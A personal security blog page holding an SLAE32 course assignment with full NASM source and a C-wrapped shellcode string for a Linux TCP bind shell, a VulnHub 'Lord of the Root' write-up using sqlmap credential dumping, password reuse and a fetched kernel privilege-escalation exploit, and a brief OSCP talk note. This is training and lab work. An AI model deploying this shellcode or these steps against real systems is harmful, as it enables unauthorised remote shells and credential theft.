Label Cloud

Monday, March 6, 2017

SLAE32 Exam - Assignment 1 of 7 (Bind Shell)



This post is the first of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course.  Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

SLAE - 901

Assignment #1: Bind Shell TCP Shellcode
The first assignment is to create a Linux shellcode which:

  • binds to a port via TCP
  • executes a shell on an incoming connection
  • is easily configurable (in regards to the port)

This assignment has three tasks:

Task 1 - Create and test a bind shell script in Assembly
Task 2 - Create and test a bind script shellcode exploit based upon the Assembly script
Task 3 - Show how to modify the port in the shellcode


Task 1 - Create and test a bind shell script in Assembly

Creating the Assembly script

The first task involved creating a bind shell script in Assembly.  

I consulted various Python and C scripts and determined that my script would do the following:

             1.  Create a socket (via socket syscall)
             2.  Bind it to an address/port (via socket syscall)
             3.  Listen for incoming connections (via socket syscall)
             4.  Accept a new connection (via socket syscall)
             5.  Redirect standard input (stdin), standard output (stdout), and standard error 
                  (stderr) (via dup2 syscall)
             6.  Execute a shell (via execve syscall)

1. Create a socket (via socket syscall)

The first sub-task was to create a socket using the socket system call.  


Here is the system syntax that I modeled:


     int socketcall(int call, unsigned long args)

Here is the syntax for the args:

     socket(int domain, int  type, int protocol)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in when I invoked and executed the socket system call (int 0x80):

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (sys_socket)
0x1
1
sys_socket
ebx
unsigned long args
0x2

0x1

0x0 (or 6)

2

1

6
domain - AF_INET;
type - SOCK-STREAM;
protocol - TCP

ecx  
(the three values are previously pushed  on the stack in reverse order, then the memloc of the esp (which   points to top of the stack) is moved to ecx
    
Here is how I coded this sub-task: 



2. Bind it to an address/port (via socket syscall)

The second sub-task was to bind the socket to an address/port using the socket system call.  

Here is the system syntax that I modeled:

     int socketcall(int call, unsigned long args)

Here is the syntax for the args:

     bind(int sockfd,const struct sockaddr addr, socklen_t addrlen)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the bind system call (int 0x80):

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (bind)
0x2
2
sys_bind
ebx
unsigned long args
sockfd

sockaddr
sin_family
sin_port

sin_addr

addrlen


0x7


0x2
0x3905 (little endian);
0x0

0x10

7


2
1337

0

16

sockfd


AF-INET
1337

INADDR_ANY

(ip4 address length) 

edi  (copy from eax at the beginning of section;
ecx  
(the four values will be previously pushed  on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx

Here is how I coded this sub-task:


3. Listen for incoming connection (via socket syscall)

The third sub-task was to listen for an incoming connection using the socket system call.  

Here is the system syntax that I modeled:

     int socketcall(int call, unsigned long *args);

Here is the syntax for the args:

     int listen(int sockfd, int backlog);

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the listen system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (listen)
0x4
4
sys_listen
ebx
unsigned long args
sockfd
backlog


0x7
0x0

7
0

sockfd
none needed
ecx
(the two values will be pushed  on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx

Here is how I coded this sub-task:



4. Accept a new connection (via socket syscall)

The fourth sub-task was to accept a new connection using the socket system call.

Here is the system syntax that I modeled:

     int socketcall(int call, unsigned long *args);

Here is the syntax for the args:

     int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

Here is a breakdown of the call variables and values, as well as what registers I want the values to be in before I invoke and execute the accept system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int socketcall 
0x66
102
socketcall
eax
int call (accept)
0x5
5
sys_accept
ebx
unsigned long args
sockfd

addr

addrlen


0x7

0x0

0x0

7

0

0

sockfd

no ip for bind

no length
ecx
(pushed on to stack from the edi);
(pushed on to stack from the esi);
(pushed on to stack from the esi);
(the three values are pushed  on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx

Here is how I coded this sub-task:


5. Redirect standard input (stdin), standard output (stdout), and standard error (stderr) (via dup2 syscall)

The fifth subtask was to redirect the stdin, stdout, and stderr using the dup2 system call.

Here is the system syntax that I modeled:

     int dup2(int oldfc, int newfd)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the accept system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int dup2 
0x3f
63
dup2
eax
int oldfc
0x7
7
return from previous socketcall
ebx
int newfd
0x0
0x1
0x2
0
1
2
stdin
stdout
stderr
ecx (via loop)
will start as 2 and execute call, then
decrement to 1 and execute, decrement
to 0 and execute


Here is how I coded this sub-task:



6. Execute a shell (via execve syscall)

The sixth sub-task was to execute a shell via the execve system call.

Here is the system syntax I modeled:

     int execve (const char *filename, char *const argv, char *const envp)

Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the execve system call (int 0x80)

variable
hex
decimal
meaning
ending register before int 0x80
int execve
0x0b
11
execve syscall
eax
filename

0x68732f2f
0x6e69622f
(ascii)
hs//
nib/
/bin/sh
ebx
argv
0x0

0

 null
ecx 
envp
0x0
0
 null
edx

Here is how I coded this sub-task:


Here is a link to the entire Assembly script: https://github.com/clubjk/scripts/blob/master/task1f.nasm

Testing the Assembly script

I compiled the Assembly script (.nasm) as follows:


Then I tested the binary...


And it worked.  Yay.


I checked it for "00"s (null bytes are fine for binaries, but fatal for my subsequent shellcode...)

Uh-oh...

Aaaand, I have some "00"'s in my object dump. 

Rookie mistake. I went back into my Assembly script and made the following changes:


 

 Also, on memloc 804808a I pushed the esi (which was 0x0) instead of an immediate value of 0x0).

After correcting my Assembly script I got a shellcode-worthy object dump (free of null bytes):



I recompiled the Assembly script, tested it and it worked.



Task 2 - Create and test a bind script shellcode exploit based upon the Assembly script

This task was to create a shellcode exploit based upon the successful and shellcode-ready Assembly script.

I extracted the shellcode from the Assembly script with a line command I found at 
This command greps/cuts/pastes/sed's the objdump command and outputs just the shellcode that can be copied and pasted.



I copied the shellcode output and pasted it into a standard C-based shellcode script.


I compiled the shellcode.c script with the following command:


Then, I tested it by running the resulting binary (shellcode)



It worked.  Yay.

Task 3 - Show how to modify the port in the shellcode

Below is the shellcode.c script:


The highlighted portion of the shellcode is the port number.
     (1337 is 395 in hex and \x05\x39 in little endian)

To make this script work on, say, port 4444:
     (4444 is 115c in hex and \x5c\x11 in little endian)

I replaced "\05\x39\" with "\x5c\x11" in the shellcode2.c.


After compiling the shellcode2.c, I executed it.



It worked.  Yay.


Summary:
I created a bind port exploit in Assembly. I checked it for null-bytes, corrected it, and retested it.  Next, I used objdump to extract the shellcode from the exploit.  I copied and pasted the shellcode string into a skeleton shellcode.c, compiled it, and successfully tested it.  Then I identified how to modify the port number if needed.

File Section:

Here is the entire Assembly script:

; Author: clubjk

global _start

section .text

_start:

 ;Create a socket with sys_socket
 
 xor eax, eax    ;zeroize the eax
 xor ebx, ebx    ;zeroize the ebx
 
 mov al, 0x66    ;put socketcall syscall value in eax; 102 in decimal

 mov bl, 0x1     ;put sys_socket syscall value in ebx; 1 in decimal

 xor esi, esi    ;zeroize the esi, it will be convenient when we need a 0x0 value
 push esi        ;put 0x00000000 in stack, using esi since it is currently zeroized
 push ebx        ;put 0x00000001 in stack, using ebx since we set it to 0x1
 push 0x2        ;put 0x00000002 in stack, using immediate value of 0x2

 mov ecx, esp    ;pass memory location of esp (start of the stack) to ecx

 int 0x80        ;calling socket system call (102) with sockcall args


 ;Bind socket to an address/port via sys_bind

 
 mov edi, eax ;put the return value from previous syscall (sockfd) in esi for use
 xor eax, eax    ;zeroize the eax
        xor ebx, ebx    ;zeroize the ebx
 xor ecx, ecx    ;zeroize the ecx

 mov al, 0x66   ;put socketcall syscall value in eax; 102 in decimal
 mov bl, 0x2    ;put sys_bind syscall value in ebx, 2 in decimal

 push esi       ;push 0x0 on the stack
 push word 0x3905 ;port 1337 in hex (0x395), then put in little endian 0x3905
 push word bx   ;push 0x2 on the stack
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 push 0x10      ;push the addrlen=16 on the stack
 push ecx       ;push struct sockaddr pointer on the stack
 push edi       ;push the sockfd (7) on the stack
 
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 int 0x80       ;calling socket system call (102) with bind args


 ;Set up listen system call via sys_listen

 xor ebx, ebx   ;zeroize the ebx
 mov al, 0x66   ;put socketcall syscall value in eax; 102 in decimal
 mov bl, 0x4    ;put listen function call (4) in ebx

 push esi       ;push backlog (0) on stack
 push edi       ;push sockfd (7) on stack
 
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 int 0x80       ;calling socket system call (102) with listen args


 ;Accept a new connection with sys_accept

 mov al, 0x66   ;put socketcall syscall value in eax; 102 in decimal
 inc ebx        ;increment ebx from 4 to 5 (accept function call number)
 push esi       ;push addrlen (0) to stack
 push esi       ;push addr (0) to stack
 push edi       ;push sockfd (7) to stack

 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx

 int 0x80       ;invokes socket sys call with accept args


 ;Redirect standard input (stdin), (stdout), (stderr) (via dup2 syscall)

 xor ecx, ecx   ;zeroize the ecx
 mov cl, 0x2    ;start the counter at 2 (stderr) 
 xchg ebx, eax  ;save the clientfd in ebx
 loop:
  mov al, 0x3f   ;moves the functional call number for dup2 (63) to eax
  int 0x80       ;system call for dup2
  dec ecx        ;decreases ecx by one
  jns loop       ;loop will run until counter is -1 (0xffffffff w SF flag set)
 
 int 0x80       ;invokes the dup2 system call

 ;Execute a shell (via execve syscall)

 xor eax, eax   ;zeroize the eax
 push eax       ;push 0x0 on the stack
 push 0x68732f2f        ;push "hs//" on the stack
 push 0x6e69622f        ;push "nib/" on the stack
 mov ebx, esp           ;move the memory location of the start of stack (esp) to ebx
 push eax       ;push 0x0 on the stack
 mov edx, esp   ;move the memory location of the start of stack (esp) to edx
 push ebx       ;push ebx on the stack
 mov ecx, esp   ;move the memory location of the start of stack (esp) to ecx
 mov al, 0xb    ;move the execve functional call number (11) to eax
        
 int 0x80       ;invokes the execve system call


Here is the shellcode.c:


#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x02\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xdb\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

printf("Shellcode Length:  %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Saturday, November 26, 2016

VulnHub - Lord of the Root Writeup















Tags: password reuse; improper input validation; un-patched server; SQLi

Lord of the Root is an intentionally vulnerable Ubuntu 14.04 virtual machine (VM) created by KookSec and hosted on vulnhub.com.  

I downloaded and imported the .ova into my virtual lab without issues using VMWare Fusion(Professional Version 8.5.2).  The VM started up and presented the following desktop:


The desktop revealed a likely user account on the machine.  Smeagol is a character in the Lord of the Rings anthology.  I added 'smeagol' and other likely LOTR characters to my username list for later.

On my attacking Kali Linux VM I ran netdiscover to determine the target's IP address:


I ran some nmap scans:



Looks like the target is running SSH on port 22.



The remote SSH session attempt revealed the SSH splash screen that included the the word 'knock' and 'Easy as 1,2,3' (a port knocking clue).

Before I attempted port knocking, I did a quick SSH brute force attempt.

I used hydra to test user smeagol for easy passwords (barnett_top500.txt) and was unsuccessful. Then used cewl to create a password list of Lord of the Rings words and tried hydra again.

#cewl http://www.imdb.com/title/tt0120737/trivia?ref_=tt_ql_2 -d 0 -w /root/lordroot/imdb_words2.txt -m 8


OK, so no trivial brute force  for user smeagol.

I began port knocking.  I tried a bunch of different ways, but here is the method that opened up a new port:


This port knocking method opened up a new port, port 1337.


Interesting...port 1337...for fun I browsed to the port:


OK...I examined the source code of the page.


The source code revealed a sub-directory of the web root.  I browsed to it and found this...


OK, an image directory.  I downloaded and examined each image in binwalk.


I found nothing interesting in the three images.  I also examined each images' metadata in Exiftool and found nothing interesting either.

For fun, I browsed for a robot.txt file on the web root...


The robots.txt page had one of the three images in it and did not have the usual file directory presentation.  I examined the page's source code.


The source code had some syntax-incorrect html code that contained a likely encoded string.  I tried various ways to decode this string.  I eventually discovered that is was a double-Base64 encoded string.


I used Kali Linux's base64 decoding method.  Was rewarded after the first decode with a note of encouragement ('Closer!').


The second decode revealed what was most likely a new directory off the web root.  Now, we are getting somewhere!

I browsed to the newly-disovered directory.


Aaand, it is a page with form-based authentication.  

I ran the page through Burp Suite Pro and discovered a possible SQLi vulnerability.


SQL Injection Vulnerability

I prepared to attack the possible SQLi vulnerability by crafting a post request as per below.  Then, I ran it through SQLMap.

request.txt

POST /978345210/index.php HTTP/1.1
Host: 192.168.188.244:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9lr00pcvfm2ne5k7lbqe3ol156
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

username=aaa*&password=bbb*&submit=+Login+



Ran the following command with SQLMap:

#sqlmap -r /root/request.txt --risk=3 --level=5


SQLMap indicated that the username parameter was likely vulnerable to a time-based blind SQL Injection and that the web application database was MySQL version 5.0.12.

I attempted to enumerate the name of the web applications database:


#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 –current-db


Discovered that the web app database name was (ironically) 'Webapp'.  I then attempted to discover the tables in the 'Webapp' database:

#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp --tables


Looks like just one table 'Users'...

Next, I enumerated the columns in the Users table...

#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp -T Users –columns


Looks like three columns...including the password and username columns...

I then attempted to dump the contents of all three columns in the Users table...

#sqlmap -r /root/request.txt --dbms=MYSQL --risk=3 --level=5 -D Webapp -T Users --dump


Aaaand, it worked. I noted all five web app credentials for my notes.

For fun, I attempted to login to SSH as user smeagol with the web app password....

#ssh smeagol@192.168.188.244
(password:MyPreciousR00t)


And it worked.  I gained user smeagol access remotely via SSH.

Privilege Escalation

Since the target has an Ubuntu 14.04 kernel, I first considered the 'overlayfs' 
(Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Privilege Escalation (1) – 39166.c) local exploit.

I put 39166.c on my attacking Kali Linux machine's web root, started the apache server on it, and from the remote SSH user session on the target used wget to bring the script on the target. 


I made it executable, compiled it locally, and then executed it.  



It worked!; I got root privileges on the target. I then found the proof flag.


This completed the Lord of the Root challenge.


Recap:
The SSH splash page gave a port knocking clue; used port knocking to open up a new port (1337). I browsed to that port, inspected source code to find a double Base64 encoded directory. In that directory there was a form-authentication page. Used Burp Suite Pro to discover a possible SQLi vulnerability. Confirmed the vulnerability in SQLMap and dumped web application credentials (improper user input validation). Used one of the credentials to log in as user on SSH (password re-use). Used a local kernel exploit to escalate privileges to root (unpatched server).

Acknowledgements:
Thanks to KookSec for creating the Lord of the Root challenge. Thanks to g0tmi1k for hosting and maintaining the vulnhub.com site.  Also to the vulnhub folks who test each VM so thoroughly before releasing.

Sunday, October 23, 2016

Curious about the OSCP Certification (or, can I do this)?

Was fortunate to be able to be the featured speaker at NebraskaCert's monthly conference on 19 October 2016.  The topic was Offensive Security's "Offensive Security Certified Professional" (or OSCP) certification.

The Offensive Security Certified Professional (OSCP) certification is different than a lot of other certs in that it is totally performance based.  The test is a 24-hour lab and you must get at least 70 points to pass.   You then have 24 hours to submit a professional-standard penetration testing report.  The nature of OSCP has made it a desired ethical hacking certification for many penetration testing jobs.  I reviewed the basics of this cert as well as my experience preparing for and passing the exam.


http://www.nebraskacert.org/csf/CSF-Oct2016.pdf